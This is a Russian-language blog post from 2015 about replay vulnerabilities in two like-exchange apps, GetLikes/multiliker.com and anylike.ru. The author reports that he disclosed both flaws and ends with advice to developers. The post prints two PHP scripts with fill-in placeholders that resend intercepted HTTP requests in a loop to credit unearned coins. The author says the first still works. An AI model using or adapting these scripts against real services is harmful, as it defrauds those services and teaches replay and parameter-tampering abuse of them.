Как я получил доступ к «бесконечным» лайкам в Instagram и ВК

из песочницы
jo1n 25 июня 2015 в 14:24 137k
Сегодня днем я заметил, что мой одногруппник скучно кликал по дисплею. Подойдя ближе, я увидел, что он выполняет задания, чтобы заработать баллы и на них накрутить себе лайки в Instagram. Мне эта идея показалась очень бредовой. Вечером, когда я пришел домой, решил подробнее рассмотреть эти приложения с заданиями и скачал парочку на свой iPhone.

«Бесконечные» лайки в Instagram


Первое приложение, которое я скачал, называется «GetLikes».

image

Я запустил на компьютере Charles, чтобы отследить запросы приложения. Поставил лайк и приложение отправило интересный POST запрос, который я смог перехватить благодаря тому, что в этом приложение данные передавались по протоколу HTTP в незашифрованном виде.

image

hash — наш токен, который обновляется при авторизации в приложении;
media — номер изображения, которому мы поставили лайк;
answer — ответ от сервера instagram (поставили ли мы лайк или нет?).

Мне стало интересно, а что если отправить этот запрос несколько раз? Я отправил и… Эврика! Мой счёт пополнился на 1 монету, хотя я не ставил лайк.

Я написал маленький скрипт на php и попробовал накрутить 100 монет и они успешно были зачислены.

<?
	function postData($url, $data){
  	$curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl, CURLOPT_POST, true);
	curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    $out = curl_exec($curl);
    curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
    curl_close($curl);
    return $out;
}
$i = 0;
$hash = "ваш_хэш";
$media = "фотография_которую_вы_лайкнули";
while ($i < 100){
postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.'&media='.$media.'&answer={"status":"ok"}');
$i++;
}

?>

PS: актуальная. Об уязвимости сообщил, но меня послали куда подальше и сказали, что у них безопасный сервис.

«Бесконечные» лайки во ВКонтакте


Вы наверняка слышали про такие сервисы как Likest, Turboliker и т.д. Я нашел приложение, которое также за выполнение заданий даёт монетки, которые можно потратить на получение лайков/репостов/подписчиков. Я проанализировал трафик, который отправляет приложение и опять нашёл очень интересную деталь (да, здесь тоже было незашифрованное подключение).

image

Рассмотрим параметры:
task_id — номер задания. (нужный нам параметр в дальнейшем);
user_id — id нашего аккаунта ВК;
cost — стоимость выполнения задания;
group_id — id группы, на которую подписались.

Естественно, я попробовал повторить этот запрос, но изменить параметр cost в большую сторону, но это ничего мне не дало. Тогда я вернул его к дефектному значению — 2. Затем я изменил параметр task_id. И что вы думаете? На мой счёт успешно зачислились заветные две монеты.

Я написал маленький скрипт и запустил.

<?
$i = 1;
$id = ваш_id;
while ($i < 100){
file_get_contents("http://anylike.ru/ios/tasks.update.1.7?task_id=".$i."&user_id=".$id."&cost=2&group_id=95172440");
$i++;
}
?>

надо было юзать curl

Монеты успешно зачислились на мой счёт. Тут отдельно стоит поговорить о халатности сотрудников, работающих на этом сайте. На их сайте: anylike.ru был всего один контакт. Я обратился, описал уязвимость, но ответ меня очень удивил:

image
image

PS: на данный момент уязвимость исправлена.

Вывод


Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.
Проголосовать:
+17
Сохранить: